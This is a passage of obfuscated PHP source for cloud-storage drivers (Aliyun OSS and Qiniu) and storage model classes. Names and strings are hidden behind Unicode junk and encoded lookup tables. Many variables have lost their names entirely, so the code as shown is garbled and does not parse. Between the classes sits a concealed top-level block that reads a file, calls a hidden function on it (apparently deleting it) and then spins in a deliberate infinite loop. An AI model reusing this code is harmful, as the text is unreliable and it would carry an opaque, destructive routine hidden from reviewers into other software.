$this->pathEncode($), $݀); $ = 1; $Λ = 0; $ª = array(); $ = 1024 * 1024 * 10; $է = $this->client->generateMultiuploadParts($؈, $); foreach ($է as $ю => $) { $ = $Λ + (int) $[$ᵮ[1423]]; $ = (int) $[$ᵮ[337]] + $ - 1; $ = array($ᵮ[1424] => $, $ᵮ[1425] => $); $ª[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($), $, $, $); $ = $ + 1; } $Ƀ́ = array(); foreach ($ª as $ю => $̷) { $Ƀ́[] = array($ᵮ[1426] => $ю + 1, $ᵮ[1427] => $̷); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $Ƀ́); } catch (OSS\Core\OssException $׃) { return !1; } return !0; } public function moveFile($̋, $б) { if ($this->copyFile($̋, $б)) { $this->remove($̋); return $this->getPathOuter($б); } return !1; } public function delFile($ƽ) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($ƽ)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($) { $Ǒ =& $_SERVER[ö]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $Η = $this->fileList($); $this->listItemCache = !0; $슠 = trim($, $Ǒ[8]) . $Ǒ[8]; if (!empty($) && $ !== $Ǒ[197] && !in_array($슠, $Η[$Ǒ[82]])) { $Η[$Ǒ[82]][] = $슠; } $Κ = $this->delByBatch($Η[$Ǒ[83]]); if (!$Κ) { return !1; } $Κ = $this->delByBatch($Η[$Ǒ[82]]); if (!$Κ) { return !1; } return $this->delFile($슠); } private function delByBatch($豸) { foreach (array_chunk($豸, 1000) as $̔) { try { $this->client->deleteObjects($this->bucket, $̔); } catch (OSS\Core\OssException $Ӹ) { return !1; } } return !0; } public function rename($Ř¹, $М) { return $this->renameObject($Ř¹, $М); } private function fileInfo($ó, $ª = false, $ݛ = array()) { $дç =& $_SERVER[ö]; $˙τ = array($дç[32] => $this->pathThis($ó), $дç[84] => $this->getPathOuter($ó), $дç[33] => $дç[199], $дç[76] => isset($ݛ[$дç[76]]) ? $ݛ[$дç[76]] : 0, $дç[174] => $this->ext($ó)); if ($ª) { return $˙τ; } $˙τ[$дç[200]] = $˙τ[$дç[85]] = 0; $˙τ[$дç[201]] = $˙τ[$дç[202]] = !0; if (empty($ݛ)) { $ = $this->objectMeta($ó); if (!$) { return $˙τ; } $ݛ = array($дç[85] => strtotime($[$дç[1421]]), $дç[76] => $[$дç[1420]] + 0); } if (isset($ݛ[$дç[76]])) { $˙τ[$дç[76]] = $ݛ[$дç[76]]; } if (isset($ݛ[$дç[85]])) { $˙τ[$дç[85]] = $ݛ[$дç[85]]; } if (isset($ݛ[$дç[203]]) && !trim($˙τ[$дç[85]])) { $˙τ[$дç[85]] = $ݛ[$дç[203]]; } return $˙τ; } private function folderInfo($, $о = false, $֜ɺ = array()) { $ =& $_SERVER[ö]; $ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($[8] . $), $[33] => $[75]); if ($о) { return $; } $[$[200]] = $[$[85]] = 0; $[$[201]] = $[$[202]] = !0; if (empty($֜ɺ)) { $ = rtrim($, $[8]) . $[8]; $ = $this->objectMeta($); if (!$) { return $; } $֜ɺ = array($[200] => $[$[511]][$[1428]], $[85] => strtotime($[$[1421]])); } if (isset($֜ɺ[$[85]])) { $[$[85]] = $֜ɺ[$[85]]; } if (isset($֜ɺ[$[200]])) { $[$[200]] = $֜ɺ[$[200]]; } return $; } public function listPath($, $ً͇ = false) { $ =& $_SERVER[ö]; $ = $this->fileList($, $[8], !0); foreach ($[$[82]] as $ => $ώ) { $[$[82]][$] = $this->folderInfo($ώ, $ً͇, $ώ); } foreach ($[$[83]] as $ => $ώ) { $[$[83]][$] = $this->fileInfo($ώ[$[32]], $ً͇, $ώ); } return $; } protected function infoChildren($, &$ی) { $ٹ =& $_SERVER[ö]; $ = $this->fileList($, $ٹ[12], !0); $ی[$ٹ[78]] += count($[$ٹ[82]]); $ی[$ٹ[77]] += count($[$ٹ[83]]); foreach ($[$ٹ[83]] as $) { if (!$ || !$[$ٹ[76]]) { continue; } $ی[$ٹ[76]] += $[$ٹ[76]]; } } public function has($ፎ, $ = false, $ = true) { $ =& $_SERVER[ö]; $ፎ = trim($ፎ, $[8]); $ = empty($ፎ) && $ፎ !== $[197] ? $[12] : $ፎ . $[8]; $ = $[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $ = array($[1416] => $[8], $[1417] => $, $[1418] => $, $[1419] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { break; } $ = $->getNextMarker(); $߸ = $->getObjectList(); $Т = $->getPrefixList(); if ($) { if (count($߸) > 1 || count($߸) == 1 && $߸[0]->getKey() != $) { $ += count($߸) - 1; } if (!empty($Т)) { $ += count($Т); } if ($ === $[12]) { break; } continue; } if ($) { if (!empty($߸)) { if (count($߸) > 1 || $߸[0]->getKey() != $) { return !0; } } } else { if (!empty($Т)) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[207] => $, $[208] => $); } return !1; } public function listAll($ݦ) { $ڙ =& $_SERVER[ö]; $ = $this->fileList($ݦ, $ڙ[12], !0); $ = array(); foreach ($[$ڙ[83]] as $) { $[$[$ڙ[32]]] = $[$ڙ[76]]; } foreach ($[$ڙ[82]] as $) { if (is_string($)) { $[$] = 0; } } return $this->listAllFiles($ݦ, array_keys($), $); } public function canRead($) { $ȃل =& $_SERVER[ö]; $燿 = $this->pathAcl($); return $燿 == $ȃل[1429] || $燿 == $ȃل[556] ? !0 : !1; } public function canWrite($¼) { $ٻӒ = $this->pathAcl($¼); return $ٻӒ == $_SERVER[ö][556] ? !0 : !1; } public function pathAcl($֛) { $ =& $_SERVER[ö]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ĸ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($֛)); } catch (OSS\Core\OssException $ܠ) { return !1; } $⒲ = $ĸ == $[37] ? $this->bucketAcl : $ĸ; if ($⒲ == $[1430]) { return $[1429]; } if ($⒲ == $[1431]) { return $[556]; } return $⒲; } private function chmodPath($Ԕ, $ = '') { $ێ =& $_SERVER[ö]; $ = empty($) ? $ێ[1431] : $; $ = array($ێ[37], $ێ[198], $ێ[1430], $ێ[1431]); if (!in_array($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($Ԕ), $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function getContent($ł) { return $this->fileSubstr($ł, -1); } public function setContent($, $۸ڦ = '') { $ =& $_SERVER[ö]; try { $Ә = $this->trafficLimit($[1432]); $ʈ = $this->client->putObject($this->bucket, $this->pathEncode($), $۸ڦ, $Ә); } catch (OSS\Core\OssException $ϗ) { return !1; } $ݪ = array($[1422] => trim($ʈ[$[1433]], $[118]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $ݪ); return isset($ʈ[$[1434]][$[1381]]) ? !0 : !1; } private function updateObjMeta($ڿ, $) { $ڿ = $this->pathEncode($ڿ); try { $؉ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $ڿ, $this->bucket, $ڿ, $؉); } catch (OSS\Core\OssException $ĘƱ) { return !1; } return !0; } public function upload($, $Қ, $ = false, $܉ = REPEAT_REPLACE) { $ǯ =& $_SERVER[ö]; $ = trim($, $ǯ[8]); $ۏ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($ǯ[1422] => @md5_file($Қ)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ۏ = $this->trafficLimit($ǯ[1432], $ۏ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $Қ, $ۏ); } catch (OSS\Core\OssException $㣥) { return !1; } return $this->getPathOuter($); } public function getHost() { $іǫ =& $_SERVER[ö]; $ = explode($іǫ[183], parent::getHost()); return $[0] . $іǫ[183] . $this->bucket . $іǫ[10] . $[1]; } public function uploadFormData($ؗ, $ = 3600) { $ =& $_SERVER[ö]; if (!($Ҙ = $this->getHost())) { return !1; } $䡩 = $; $ = date($[1435], time() + $䡩); $⭝ = new DateTime($); $ſ = $⭝->format(DateTime::ISO8601); $͔ = strpos($ſ, $[296]); $ſ = substr($ſ, 0, $͔) . $[1436]; $ҥ = 1048576000 * 5; $ = $this->pathFather($ؗ); $Ą = array($[1335] => $ſ, $[1336] => array(array($[1437], 0, $ҥ), array($[1339], $[1340], $))); $դ = base64_encode(json_encode($Ą)); $ = base64_encode(hash_hmac($[232], $դ, $this->secret, !0)); $ = array($[1345] => $դ, $[1438] => $this->accessKey, $[1341] => $[1333], $[1439] => $, $[181] => $Ҙ); $ = $this->trafficLimit($[1432], $); return $; } public function multiUploadFormData($Ϫ, $ = 3600) { $ =& $_SERVER[ö]; if (!($ = $this->getHost())) { return !1; } $ٔ = $this->trafficLimit($[1432]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($Ϫ), $ٔ); return array($[223] => $, $[181] => $ . $[8] . $this->pathEncode($Ϫ), $[224] => gmdate($[1440]), $[94] => $Ϫ); } public function multiUploadAuthData($, $ = array()) { $ǎԍ =& $_SERVER[ö]; $ʾ = isset($[$ǎԍ[224]]) ? $[$ǎԍ[224]] : gmdate($ǎԍ[1440]); $랴 = isset($[$ǎԍ[174]]) ? $[$ǎԍ[174]] : $ǎԍ[12]; $ = $; if (isset($[$ǎԍ[94]])) { $ = $[$ǎԍ[94]]; unset($[$ǎԍ[94]]); } if (isset($[$ǎԍ[225]])) { $[$ǎԍ[224]] = $ʾ; return $this->listUploadParts($, $); } $ճ = array($ǎԍ[226], $ǎԍ[12], $ǎԍ[120], $ʾ, "\170\x2d\157\x73\x73\55\144\141\164\x65\72{$ʾ}", $ǎԍ[8] . $this->bucket . $ǎԍ[8] . $ . $랴); if (strpos($랴, $ǎԍ[227]) === 0) { $ճ[0] = $ǎԍ[228]; if ($Ռʌ = $this->trafficLimit($ǎԍ[1432])) { $ = $ǎԍ[1441]; array_splice($ճ, 5, 0, $ . $ǎԍ[4] . $Ռʌ[$]); } } if (isset($[$ǎԍ[229]]) && $[$ǎԍ[229]] == $ǎԍ[230]) { $ճ[0] = $ǎԍ[230]; } if (!empty($[$ǎԍ[1442]])) { $ȳ = array_merge(array($ճ[4]), $[$ǎԍ[1442]]); sort($ȳ); $ճ[4] = implode($ǎԍ[231], $ȳ); } $ = implode($ǎԍ[231], $ճ); $ = base64_encode(hash_hmac($ǎԍ[232], $, $this->secret, !0)); $鿔 = $ǎԍ[1406] . $this->accessKey . $ǎԍ[4] . $; if (strpos($랴, $ǎԍ[227]) === 0) { $鿔 = array($ǎԍ[234] => $鿔, $ǎԍ[224] => $ʾ); if ($Ռʌ) { $鿔 = array_merge($鿔, $Ռʌ); } } return $鿔; } public function listUploadParts($, $خ) { $ȝ =& $_SERVER[ö]; $ = parse_url_query($خ[$ȝ[174]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($), $[$ȝ[223]]); $ƽ = $->getListPart(); $ = array(); foreach ($ƽ as $) { $[] = array($ȝ[1426] => $->getPartNumber(), $ȝ[1427] => trim($->getETag(), $ȝ[118])); } unset($خ[$ȝ[225]], $خ[$ȝ[229]]); $ֈ = $this->multiUploadAuthData($, $خ); if (empty($ֈ)) { return !1; } return array($ȝ[234] => $ֈ, $ȝ[224] => $خ[$ȝ[224]], $ȝ[236] => $); } public function download($닿, $͒) { if ($this->isFolder($닿)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $͒); $ = $this->trafficLimit($_SERVER[ö][109], $); $this->client->getObject($this->bucket, $this->pathEncode($닿), $); } catch (OSS\Core\OssException $Ͻ) { return !1; } return $͒; } public function fileSubstr($, $ = 0, $ӽ = false) { if ($ === -1) { $ = array(); } else { if ($ӽ === !1) { $ = $this->size($); } else { $ = $ + $ӽ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}\55{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { think_exception($->getMessage()); return !1; } } private function trafficLimit($, $ = array()) { $ܥ =& $_SERVER[ö]; if ($ == $ܥ[1432] && $this->isUploadServer() || $ == $ܥ[109] && $this->isFileOutServer()) { return $; } $ = floatval($GLOBALS[$ܥ[6]][$ܥ[89]][$ܥ[107]][$]) * 1024 * 1024 * 8; if (!$) { return $; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); return $; } public function link($ҕ, $Ȭ = array()) { $Ѧ =& $_SERVER[ö]; if (!$this->exist($ҕ) || $this->isFolder($ҕ)) { return !1; } try { $Ȭ = $this->trafficLimit($Ѧ[109], $Ȭ); $䉞 = $this->client->signUrl($this->bucket, $this->pathEncode($ҕ), 3600 * 12, $Ѧ[230], $Ȭ); return $this->getCdnLink($䉞); } catch (OSS\Core\OssException $
) { return !1; } } public function fileOut($, $ƃ = false, $ = false, $⫌ = '') { $ =& $_SERVER[ö]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $ƃ, $, $⫌); } if (!$) { $ = $this->pathThis($); } $ = rawurlencode($); $ = get_file_mime(get_path_ext($)); if ($ == $[217]) { return parent::fileOut($, $ƃ, $, $⫌); } $ƃ = $ƃ ? $[1443] : $[1444]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1445] . rawurlencode("{$ƃ}\x3b\x66\x69\x6c\x65\156\141\x6d\145\x3d{$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1446] . rawurlencode($); $ǫ = $this->link($, $); $this->fileOutLink($ǫ); } public function fileOutServer($ߏ, $ = false, $ĕ = false, $ = '') { parent::fileOut($ߏ, $, $ĕ, $); } public function fileOutImage($Տ, $ = 250) { $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[ö][1447] . $); $蘳ͨ = $this->link($Տ, $); $this->fileOutLink($蘳ͨ); } public function fileOutImageServer($ԋ, $ = 250) { parent::fileOutImage($ԋ, $); } public function fileOutLink($) { $ =& $_SERVER[ö]; if (!$this->isCdnHost() && substr($, 0, 7) == $[1348]) { $ = $[1349] . substr($, 7); } header($[161] . $); die; } public function hashMd5($, $ԭ = '') { $Ҵϧ =& $_SERVER[ö]; $ŝ = $this->_objectMeta($); if (!$ŝ) { return $Ҵϧ[12]; } if (!isset($ŝ[$Ҵϧ[1422]]) && !empty($ԭ)) { $ܕԑ = $this->updateObjMeta($, array($Ҵϧ[1422] => $ԭ)); $ŝ[$Ҵϧ[1422]] = $ܕԑ ? $ԭ : $Ҵϧ[12]; } return isset($ŝ[$Ҵϧ[1422]]) ? strtolower($ŝ[$Ҵϧ[1422]]) : $Ҵϧ[12]; } public function size($Ɖ) { $ = $this->objectMeta($Ɖ); return $ ? $[$_SERVER[ö][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ǹ٣) { return $this->isFile($ǹ٣) || $this->isFolder($ǹ٣); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[ö][165], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ö][167], $); } protected function _objectMeta($旟) { $ٳޣ =& $_SERVER[ö]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($旟)); } catch (OSS\Core\OssException $) { $ = !1; } if ($) { $[$ٳޣ[76]] = intval($[$ٳޣ[1420]]); } return $; } protected function _isFolder($С) { $ =& $_SERVER[ö]; if ($С == $[12] || $С == $[8]) { return !0; } $ɦ = array($[1416] => $[8], $[1417] => rtrim($С, $[8]) . $[8], $[1418] => 1, $[1419] => $[12]); $ = $this->client->listObjects($this->bucket, $ɦ); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } } if (!isset($_SERVER[$_SERVER[ö][840]]) || !isset($_SERVER[$_SERVER[ö][847]])) { $_getc = $_SERVER[ö][842]; $_getfile = $_SERVER[$_SERVER[ö][843]] . $_SERVER[ö][844]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ö][231], $_getfilec); if (count($_getarrs) < $_SERVER[ö][619]) { $exit = $_SERVER[ö][845]; $exit(); } $_act = $_SERVER[ö][846]; $_act($_SERVER[$_SERVER[ö][843]] . $_SERVER[ö][844]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[ö][378]); } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public function __construct($˭) { parent::__construct(); require_once SDK_DIR . $_SERVER[ö][1448]; $this->_init($˭); } public function _init($) { $ջ =& $_SERVER[ö]; foreach ($ as $ => $Õ) { if (isset($this->{$})) { $this->{$} = $Õ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ջ[1449] . LNG($ջ[1407])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($։, $ض = '', $Ҫ = REPEAT_RENAME) { if ($this->setContent($։, $ض)) { return $this->getPathOuter($։); } return !1; } public function mkdir($Ĩó, $ܮ = REPEAT_SKIP) { $ =& $_SERVER[ö]; $ = trim($Ĩó, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $Ĩó = $ . $[8]; $ֻ = get_path_this($); $⚔ = $Ĩó . $ֻ; if (!$this->mkfile($⚔)) { return !1; } if (!$this->moveFile($⚔, $Ĩó)) { $this->delFile($⚔); return !1; } return $this->getPathOuter($); } public function copyFile($㓇Ӕ, $ֿ) { $ݸ = $this->bucketManager->copy($this->bucket, $㓇Ӕ, $this->bucket, $ֿ, !0); return $ݸ ? !1 : $this->getPathOuter($ֿ); } public function moveFile($, $ց) { $ = $this->bucketManager->move($this->bucket, $, $this->bucket, $ց, !0); return $ ? !1 : $this->getPathOuter($ց); } public function delFile($) { if (!$this->exist($)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $); return $ ? !1 : !0; } public function delFolder($߳酻) { $癆 =& $_SERVER[ö]; if (!$this->exist($߳酻)) { return !0; } $this->listItemCache = !1; $ӊ = $this->fileList($߳酻); $this->listItemCache = !0; $ = trim($߳酻, $癆[8]) . $癆[8]; if (!empty($߳酻) && $߳酻 !== $癆[197] && !in_array($, $ӊ[$癆[82]])) { $ӊ[$癆[82]][] = $; } $ٷ = $this->delByBatch($ӊ[$癆[83]]); if (!$ٷ) { return !1; } $ٷ = $this->delByBatch($ӊ[$癆[82]]); if (!$ٷ) { return !1; } return $this->delFile($); } private function delByBatch($潃) { foreach (array_chunk($潃, 1000) as $꣐ۢ) { $Ҽ = $this->bucketManager->buildBatchDelete($this->bucket, $꣐ۢ); list($˗, $ٍ) = $this->bucketManager->batch($Ҽ); if ($ٍ) { return !1; } } return !0; } public function rename($, $Ɋ) { return $this->renameObject($, $Ɋ); } public function fileInfo($Φ, $ = false, $ސצ = array()) { $ =& $_SERVER[ö]; $ = array($[32] => $this->pathThis($Φ), $[84] => $this->getPathOuter($[8] . $Φ), $[33] => $[199], $[76] => isset($ސצ[$[1450]]) ? $ސצ[$[1450]] : 0, $[174] => $this->ext($Φ)); if ($) { return $; } $[$[200]] = $[$[85]] = 0; $[$[201]] = $[$[202]] = !0; if (empty($ސצ)) { $ސצ = $this->objectMeta($Φ); if (!$ސצ) { return $; } } if (isset($ސצ[$[1451]])) { $[$[85]] = substr($ސצ[$[1451]] . $[12], 0, 10); } if (isset($ސצ[$[1450]])) { $[$[76]] = $ސצ[$[1450]]; } return $; } public function folderInfo($, $ = false) { $ލ =& $_SERVER[ö]; $ = array($ލ[32] => $this->pathThis($), $ލ[84] => $this->getPathOuter($ލ[8] . $), $ލ[33] => $ލ[75]); if ($) { return $; } $[$ލ[200]] = $[$ލ[85]] = 0; $[$ލ[201]] = $[$ލ[202]] = !0; $ = rtrim($, $ލ[8]) . $ލ[8]; $͌ = $this->objectMeta($); if (isset($͌[$ލ[1451]])) { $[$ލ[85]] = substr($͌[$ލ[1451]] . $ލ[12], 0, 10); } return $; } public function listPath($֠ǻ, $ɂ = false) { $͞ =& $_SERVER[ö]; $ = $this->fileList($֠ǻ, $͞[8], !0); foreach ($[$͞[82]] as $̍է => $) { $[$͞[82]][$̍է] = $this->folderInfo($, $ɂ); } foreach ($[$͞[83]] as $̍է => $) { $[$͞[83]][$̍է] = $this->fileInfo($[$͞[94]], $ɂ, $); } return $; } public function has($ܘ, $ = false, $̼ = true) { $ѽ =& $_SERVER[ö]; $ܘ = trim($ܘ, $ѽ[8]); $㝎 = empty($ܘ) && $ܘ !== $ѽ[197] ? $ѽ[12] : $ܘ . $ѽ[8]; $Ƞ = $ѽ[12]; $ = 500; $Ķ = $ѽ[8]; $ѝĮ = $䟝 = 0; while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $㝎, $Ƞ, $, $Ķ); if ($) { break; } $Ƞ = array_key_exists($ѽ[1419], $) ? $Ƞ = $[$ѽ[1452]] : $ѽ[12]; if ($) { if (!empty($[$ѽ[1453]])) { $ѝĮ += count($[$ѽ[1453]]); } if (!empty($[$ѽ[1454]])) { $䟝 += count($[$ѽ[1454]]); } if ($Ƞ === $ѽ[12]) { break; } continue; } if ($̼) { if (!empty($[$ѽ[1453]])) { return !0; } } else { if (!empty($[$ѽ[1454]])) { return !0; } } if ($Ƞ === $ѽ[12]) { break; } } if ($) { return array($ѽ[207] => $ѝĮ, $ѽ[208] => $䟝); } return !1; } public function listAll($Œ܋) { $к =& $_SERVER[ö]; $ = $this->fileList($Œ܋, $к[12], !0); $ = array(); foreach ($[$к[83]] as $) { $[$[$к[94]]] = $[$к[76]]; } foreach ($[$к[82]] as $) { if (is_string($)) { $[$] = 0; } } return $this->listAllFiles($Œ܋, array_keys($), $); } private function fileList($ӓ, $Ŏ = '', $Ϊ = 0) { $ =& $_SERVER[ö]; $ӓ = trim($ӓ, $[8]); $燑 = empty($ӓ) && $ӓ !== $[197] ? $[12] : $ӓ . $[8]; $ = $[12]; $ = 1000; $ά = $ = array(); while (!0) { check_abort(); list($, $ȩώ) = $this->bucketManager->listFiles($this->bucket, $燑, $, $, $Ŏ); if ($ȩώ) { break; } $ = array_key_exists($[1419], $) ? $ = $[$[1452]] : $[12]; $ޣ = isset($[$[1453]]) ? $[$[1453]] : array(); $Ѹ = isset($[$[1454]]) ? $[$[1454]] : array(); foreach ($ޣ as $ρӨ) { if ($ρӨ[$[94]] == $燑) { continue; } $ = $ρӨ[$[94]]; $Ö綔 = $ρӨ[$[1450]]; $ρӨ[$[76]] = $Ö綔; $ = $Ö綔 == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $ρӨ); if ($) { $ά[] = $; continue; } $[] = $Ϊ ? $ρӨ : $; } foreach ($Ѹ as $) { if ($ == $燑) { continue; } $ά[] = $; $this->cacheMethodInfoSet($, !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfoSet($ӓ, !0); return array($[82] => $ά, $[83] => $); } public function canRead($հ) { return $this->exist($հ) ? !0 : !1; } public function canWrite($ԇ) { return $this->exist($ԇ) ? !0 : !1; } public function getContent($˄) { return $this->fileSubstr($˄, 0, -1); } public function setContent($ɽ, $̽ = '') { $ɪ = $this->tempFile($this->pathThis($ɽ)); file_put_contents($ɪ, $̽); if ($this->upload($ɽ, $ɪ)) { $this->tempFileRemve($ɪ); return !0; } return !1; } public function refreshUrls($) { $ҵӯ =& $_SERVER[ö]; $Ŵ = array(); if (is_array($)) { foreach ($ as $낾) { $Ŵ[] = $this->link($낾); } } else { $Ŵ[] = $this->link($); } $ʇ = new Qiniu\Cdn\CdnManager($this->auth); list($Ѓ, $) = $ʇ->refreshUrls($Ŵ); if ($) { return !1; } return $Ѓ[$ҵӯ[1197]] == $ҵӯ[766] ? !0 : !1; } public function fileSubstr($̨, $⚦, $Ț) { $ =& $_SERVER[ö]; if (!($ۼ = $this->link($̨))) { return !1; } $ʎ = !1; if ($Ț > 0) { $͖ = $⚦ + $Ț - 1; $ʎ = array($[1455] . $⚦ . $[386] . $͖); } $ʔ = url_request($ۼ, $[230], !1, $ʎ); return $ʔ[$[756]] ? $ʔ[$[1217]] : !1; } public function upload($, $Į, $ = false, $ꌙ = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($Į)); list($, $㖊) = $->putFile($, $, $Į, null, $); return $㖊 ? !1 : $this->getPathOuter($); } public function uploadFormData($, $گ = 3600) { return $this->uploadToken($, $گ); } public function multiUploadFormData($Č, $ = 3600) { return $this->uploadToken($Č, $); } private function uploadToken($, $ = 3600) { $ب܋ =& $_SERVER[ö]; $ݍ = $; $Î = array($ب܋[1456] => $ب܋[1457]); $܀۰ = $; $ = $this->auth->uploadToken($this->bucket, $܀۰, $ݍ, $Î, !0); $Є = empty($this->region) || $this->region == $ب܋[1458] ? $ب܋[12] : $ب܋[386] . $this->region; $ܓ = http_type() . "\x3a\x2f\x2f\165\160\x6c\157\x61\x64{$Є}\x2e\161\x69\156\151\x75\x70\x2e\x63\157\x6d\57"; return array($ب܋[1459] => $, $ب܋[1460] => $ܓ); } public function download($, $մ) { $ = IO::getPathInner(IO::mkfile($մ)); if (!($⃡ = $this->link($))) { return !1; } $ = 0; $Ȁ = 1024 * 200; $Ϧ = fopen($, $_SERVER[ö][1461]); while (!0) { $ģ = $this->fileSubstr($, $, $Ȁ); if ($ģ === !1) { return !1; } fwrite($Ϧ, $ģ); $ += $Ȁ; if (strlen($ģ) < $Ȁ) { break; } } fclose($Ϧ); return $մ; } public function link($, $ = '') { if (!$this->isFile($)) { return !1; } $ǵ = $this->getHost() . $_SERVER[ö][8] . $this->pathEncode($) . $; return $this->auth->privateDownloadUrl($ǵ, 3600 * 12); } public function fileOut($ワΩ, $ = false, $ = false, $貫ب = '') { $ =& $_SERVER[ö]; if ($this->isFileOutServer()) { return $this->fileOutServer($ワΩ, $, $, $貫ب); } if (!$) { $ = $this->pathThis($ワΩ); } $ćկ = $ ? $[1462] . rawurlencode($) : $[12]; $ = $this->link($ワΩ, $ćկ); $this->fileOutLink($); } public function fileOutServer($, $ = false, $զ = false, $ = '') { parent::fileOut($, $, $զ, $); } public function fileOutImage($Ĺ, $ = 250) { $ټ = $this->link($Ĺ, $_SERVER[ö][1463] . $); $this->fileOutLink($ټ); } public function fileOutImageServer($揥, $ = 250) { parent::fileOutImage($揥, $); } public function hashMd5($) { $ =& $_SERVER[ö]; $Ҩ = $this->objectMeta($); return isset($Ҩ[$[212]]) ? $Ҩ[$[212]] : !1; $ƫԎ = $this->link($, $[1464]); } public function size($) { $Ԭ = $this->objectMeta($); return $Ԭ ? $Ԭ[$_SERVER[ö][76]] : 0; } public function info($Ņ) { if ($this->isFolder($Ņ)) { return $this->folderInfo($Ņ); } else { if ($this->isFile($Ņ)) { return $this->fileInfo($Ņ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ᄯ) { return !$this->isFolder($ᄯ) && $this->objectMeta($ᄯ); } public function isFolder($Ӻϋ) { return $this->cacheMethod($_SERVER[ö][165], $Ӻϋ); } protected function objectMeta($휼) { return $this->cacheMethod($_SERVER[ö][167], $휼); } protected function _objectMeta($) { $¾ =& $_SERVER[ö]; list($˧, $) = $this->bucketManager->stat($this->bucket, $); if ($˧) { $˧[$¾[76]] = intval($˧[$¾[1450]]); } return $˧; } protected function _isFolder($) { $ˣ =& $_SERVER[ö]; if ($ == $ˣ[12] || $ == $ˣ[8]) { return !0; } list($, $םԘ) = $this->bucketManager->listFiles($this->bucket, trim($, $ˣ[8]) . $ˣ[8], $ˣ[12], 1, $ˣ[8]); return !empty($[$ˣ[1453]]) || !empty($[$ˣ[1454]]) ? !0 : !1; } } goto Bփ; dƸ: class SourceSecretModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\x65\x6d\x2e\163\157\165\162\x63\x65\x53\145\143\x72\145\164\114\151\163\x74"; public $field = array("\x73\x6f\x75\x72\143\x65\x49\x44", "\164\171\x70\x65\x49\x44", "\143\162\145\141\x74\x65\x55\x73\145\x72"); } class StorageModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\155\x2e\163\x74\157\x72\x61\147\145\114\x69\163\x74"; public $field = array("\x6e\x61\155\x65", "\163\151\x7a\145\115\x61\x78", "\163\x79\x73\x74\145\x6d", "\144\145\x66\141\x75\154\x74", "\144\162\x69\166\145\162", "\143\157\156\x66\151\x67"); public function listData($ = false, $̌ = "\x6d\x6f\x64\151\x66\171\x54\x69\x6d\x65", $ = false) { $˲ =& $_SERVER[ö]; $폝 = parent::listData($, $̌, $); if ($) { return $폝; } $ۭ = $this->ioSizeUseGet(array_to_keyvalue($폝, $˲[12], $˲[399])); foreach ($폝 as $ => $Ѓ) { unset($폝[$][$˲[6]]); $폝[$][$˲[1854]] = isset($ۭ[$Ѓ[$˲[399]]]) ? $ۭ[$Ѓ[$˲[399]]] : 0; } return $폝; } public function ioSizeUseGet($) { $ =& $_SERVER[ö]; if (!$) { return array(); } $ = $[2177] . implode($[50], $); 